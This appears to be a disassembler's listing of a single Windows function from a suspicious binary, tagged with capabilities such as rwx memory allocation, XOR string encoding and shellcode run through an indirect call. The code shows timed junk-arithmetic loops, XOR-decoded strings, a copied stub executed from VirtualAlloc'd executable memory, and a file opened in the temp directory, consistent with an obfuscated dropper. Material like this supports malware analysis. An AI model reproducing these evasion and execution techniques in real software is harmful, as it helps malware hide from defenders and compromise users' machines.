Function at 0x14020ceb0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5390]
mov eax, 0x5490
call fcn.14027e170
sub rsp, rax
movaps xmmword [rsp + 0x5480], xmm6
movaps xmmword [rsp + 0x5470], xmm7
movaps xmmword [rsp + 0x5460], xmm8
movaps xmmword [rsp + 0x5450], xmm9
movaps xmmword [rsp + 0x5440], xmm10
movaps xmmword [rsp + 0x5430], xmm11
movaps xmmword [rsp + 0x5420], xmm12
movaps xmmword [rsp + 0x5410], xmm13
mov rax, qword [0x1402bd028]
xor rax, rsp
mov qword [rbp + 0x5300], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rcx
xor edi, edi
mov dword [rsp + 0x34], edi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x50e4], 0xffffffff
mov dword [rbp + 0x3d64], eax
mov ebx, 1
mov ecx, ebx
nop dword [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x3d64], edx
inc rcx
cmp rcx, 0x270
jb 0x14020cf70
mov dword [rbp + 0x3d60], 0x270
lea rcx, [rbp + 0x3d60]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6c
ja 0x14020cfdc
nop dword [rax + rax]
lea rcx, [rbp + 0x3d60]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6d
jb 0x14020cfc0
shr rax, 0x20
lea r15d, [rax + 0x3e7]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x1634], 0xffffffff
mov dword [rbp + 0x2b4], eax
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x2b4], edx
inc rcx
cmp rcx, 0x270
jb 0x14020d010
mov dword [rbp + 0x2b0], 0x270
mov dword [rsp + 0x30], edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020d05e
imul rax, rax, 0x64
jmp 0x14020d079
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
mov r13d, 0x80000000
mov r12d, 1
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020d0ae
imul rax, rax, 0x64
jmp 0x14020d0c9
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x14020d285
mov esi, 0x186a0
nop word [rax + rax]
lea rcx, [rbp + 0x2b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020d11a
nop word [rax + rax]
lea rcx, [rbp + 0x2b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d100
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r13]
lea ebx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rbp + 0x2b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020d17a
cmp eax, 0x64
jae 0x14020d17a
nop dword [rax]
lea rcx, [rbp + 0x2b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d160
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x2b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x14020d1db
cmp eax, 0x64
jae 0x14020d1db
lea rcx, [rbp + 0x2b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d1c1
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
imul edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x2b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020d23d
cmp eax, 0x64
jae 0x14020d23d
lea rcx, [rbp + 0x2b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d223
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r13]
lea ecx, [rdx - 0x80000000]
cmp edx, r13d
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], edx
sub rsi, r12
jne 0x14020d0e0
jmp 0x14020d090
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0xb0]
call fcn.14027df58
lea rsi, [0x140000000]
lea rax, [rsi + 0x2aa3e8]
mov qword [rbp + 0xb0], rax
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov ebx, dword [rsp + 0x34]
or ebx, 4
mov dword [rsp + 0x34], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0x88]
mov dword [rbp + rcx + 0xac], r8d
lea rcx, [rbp + 0xb8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + 0xb8], rax
xor r14d, r14d
mov qword [rbp + 0x120], r14
mov dword [rbp + 0x128], 4
mov edx, r15d
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
movsd xmm0, qword [0x1402ac490]
movsd qword [rsp + 0x48], xmm0
movzx eax, word [0x1402ac498]
mov edx, 0x2e
mov word [rsp + 0x48], dx
xor word [rsp + 0x4a], 0x43
xor word [rsp + 0x4c], 0x45
xor word [rsp + 0x4e], 0x47
xor ax, 0x49
mov word [rsp + 0x50], ax
lea rdx, [rsp + 0x48]
call fcn.14025ad00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
movdqa xmm1, xmmword [0x1402ad080]
movdqu xmmword [rbp + 0x98], xmm1
mov word [rbp + 0x88], r14w
or ebx, 0x10
mov dword [rsp + 0x34], ebx
mov ecx, dword [rbp + 0x128]
mov eax, ecx
and al, 0x22
cmp al, 2
mov r12, qword [rsp + 0x38]
je 0x14020d407
mov rax, qword [rbp + 0xf8]
mov r8, qword [rax]
test r8, r8
je 0x14020d407
mov rax, qword [rbp + 0xd8]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x120]
cmovb r8, qword [rbp + 0x120]
jmp 0x14020d433
test cl, 4
jne 0x14020d44a
mov rax, qword [rbp + 0xf0]
mov r8, qword [rax]
test r8, r8
je 0x14020d44a
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x108]
movsxd rcx, dword [rax]
lea r8, [r8 + rcx*2]
sub r8, rdx
sar r8, 1
test rdx, rdx
je 0x14020d44a
lea rcx, [rbp + 0x88]
call fcn.140258fe0
and ebx, 0xffffffef
or ebx, 8
mov dword [rsp + 0x60], 0x104
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
lea r15, [rbp + 0x53b8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x80], r15
mov rdi, qword [r15]
xor rdi, rax
mov qword [rbp + 0x70], rdi
mov qword [r15], r14
mov ecx, r14d
lea r14, [0x14025b270]
mov rax, qword [0x1402c36b0]
test rax, rax
je 0x14020d4c9
xor edx, edx
cmp rax, r14
je 0x14020d4b8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2c36b0]
test rax, rax
jne 0x14020d4a0
jmp 0x14020d4c9
mov r9, qword [rsi + rdx*8 + 0x2c4690]
test r9, r9
jne 0x14020d5af
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
je 0x14020d58e
mov rax, r14
mov rcx, r9
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14020d500
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c3d18]
mov qword [rsi + rax*8 + 0x2c36b0], r14
mov qword [rsi + rax*8 + 0x2c4690], r9
inc rax
mov qword [0x1402c3d18], rax
lea r8, [rbp + 0x50f0]
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [rbp + 0x70], rdi
mov qword [r15], rdi
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea rax, [rbp + 0x50f0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14020d600
lea rdx, [rbp + 0x50f0]
lea rcx, [rbp - 0x58]
call fcn.14025c710
nop
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x58]
call fcn.140259100
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
or ebx, 2
mov dword [rsp + 0x34], ebx
lea rcx, [rbp - 0x58]
call fcn.140258f70
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x29c4], 0xffffffff
mov dword [rbp + 0x1644], eax
lea ecx, [rsi + 1]
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x1644], edx
inc rcx
cmp rcx, 0x270
jb 0x14020d690
mov dword [rbp + 0x1640], 0x270
mov dword [rsp + 0x30], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020d6de
imul rax, rax, 0x64
jmp 0x14020d6f9
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
mov r15d, 0x80000000
mov r13d, 1
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020d72e
imul rax, rax, 0x64
jmp 0x14020d749
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x14020d905
mov esi, 0x186a0
nop word [rax + rax]
lea rcx, [rbp + 0x1640]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020d79a
nop word [rax + rax]
lea rcx, [rbp + 0x1640]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d780
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x1640]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020d7fa
cmp eax, 0x64
jae 0x14020d7fa
nop dword [rax]
lea rcx, [rbp + 0x1640]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d7e0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x1640]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x14020d85b
cmp eax, 0x64
jae 0x14020d85b
lea rcx, [rbp + 0x1640]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d841
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
imul edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x1640]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020d8bd
cmp eax, 0x64
jae 0x14020d8bd
lea rcx, [rbp + 0x1640]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d8a3
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], edx
sub rsi, r13
jne 0x14020d760
jmp 0x14020d710
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a0]
call fcn.14027df58
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 8
cmovae rdx, qword [rbp + 0x30]
lea rcx, [rbp + 0x1a0]
call fcn.140258a90
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x1a0], rbx
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
cmp qword [rbp + 0x228], 0
mov r13, qword [rsp + 0x58]
je 0x14020e571
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xor esi, esi
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], 7
mov word [rbp + 0x50], si
mov rcx, r12
cmp qword [r12 + 0x18], 8
jb 0x14020d9a9
mov rcx, qword [r12]
mov rdx, rcx
jmp 0x14020d9ac
mov rdx, r12
mov rbx, rcx
mov rax, qword [r12 + 0x10]
lea rdi, [rdx + rax*2]
cmp rcx, rdi
je 0x14020da34
mov esi, 0x22
movzx edx, word [rbx]
cmp dx, si
je 0x14020d9d5
lea rcx, [rbp + 0x50]
call fcn.140257170
jmp 0x14020da29
mov eax, dword [0x1402a95d4]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1402a95d8]
mov word [rsp + 0x38], si
xor word [rsp + 0x3a], 0x43
xor ax, 0x45
mov word [rsp + 0x3c], ax
lea rax, [rsp + 0x38]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14020da10
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x50]
call fcn.1402572d0
add rbx, 2
cmp rbx, rdi
jne 0x14020d9c2
xor esi, esi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x3d54], 0xffffffff
mov dword [rbp + 0x29d4], eax
mov ecx, 1
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x29d4], edx
inc rcx
cmp rcx, 0x270
jb 0x14020da51
mov dword [rbp + 0x29d0], 0x270
mov dword [rsp + 0x30], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020da9f
imul rax, rax, 0x64
jmp 0x14020daba
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r14, [rax + 0x5f5e100]
mov r13d, 1
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020dae5
imul rax, rax, 0x64
jmp 0x14020db00
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x14020dcb5
mov esi, 0x186a0
nop
lea rcx, [rbp + 0x29d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020db4a
nop word [rax + rax]
lea rcx, [rbp + 0x29d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020db30
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r13d
lea rcx, [rbp + 0x29d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020dbaa
cmp eax, 0x64
jae 0x14020dbaa
nop dword [rax]
lea rcx, [rbp + 0x29d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020db90
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x29d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x14020dc0b
cmp eax, 0x64
jae 0x14020dc0b
lea rcx, [rbp + 0x29d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020dbf1
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x30]
imul edx, eax
mov dword [rsp + 0x30], edx
lea rcx, [rbp + 0x29d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020dc6d
cmp eax, 0x64
jae 0x14020dc6d
lea rcx, [rbp + 0x29d0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020dc53
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv edi
mov dword [rsp + 0x30], edx
sub rsi, r13
jne 0x14020db10
jmp 0x14020dac7
mov eax, dword [rsp + 0x30]
movups xmm0, xmmword [0x1402a9b30]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [str.969_yf]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x1402a9b50]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x1402a9b60]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x1402a9b70]
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x1402a9b80]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x1402a9b88]
mov dword [rbp + 0x28], eax
xor r15d, r15d
mov r9d, r15d
mov edi, 0xff8e
lea esi, [r15 + 6]
lea r14d, [r15 + 0x1f]
mov ebx, dword [0x1402bd008]
cmp ebx, 2
mov r13, qword [rsp + 0x58]
jl 0x14020df09
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, esi
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
movd xmm9, r14d
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [str.AAAAAAAA]
lea rcx, [rbp - 0x30]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x14020dd70
cmp r9d, 0x2e
jge 0x14020df7a
movsxd rax, r9d
lea r10, [rbp - 0x30]
lea r10, [r10 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
movzx eax, r9w
add ax, ax
add cx, 0x41
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x14020df20
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x1a0]
call fcn.14025ad00
movups xmm0, xmmword [0x1402aad88]
movups xmmword [rbp - 0x78], xmm0
movsd xmm0, qword [0x1402aad98]
movsd qword [rbp - 0x68], xmm0
mov eax, dword [0x1402aada0]
mov dword [rbp - 0x60], eax
movzx eax, word [0x1402aada4]
mov word [rbp - 0x5c], ax
mov r9d, r15d
cmp ebx, 2
jl 0x14020e16c
movdqa xmm6, xmmword [0x1402ad190]
movd xmm8, esi
movdqa xmm7, xmmword [0x1402ad180]
movd xmm10, r14d
movdqa xmm12, xmmword [str.AAAAAAAA]
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm10
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x1402ad0e0]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm12
paddw xmm3, xmm0
movq xmm0, qword [0x1402aad88]
pxor xmm3, xmm0
movq qword [rbp - 0x78], xmm3
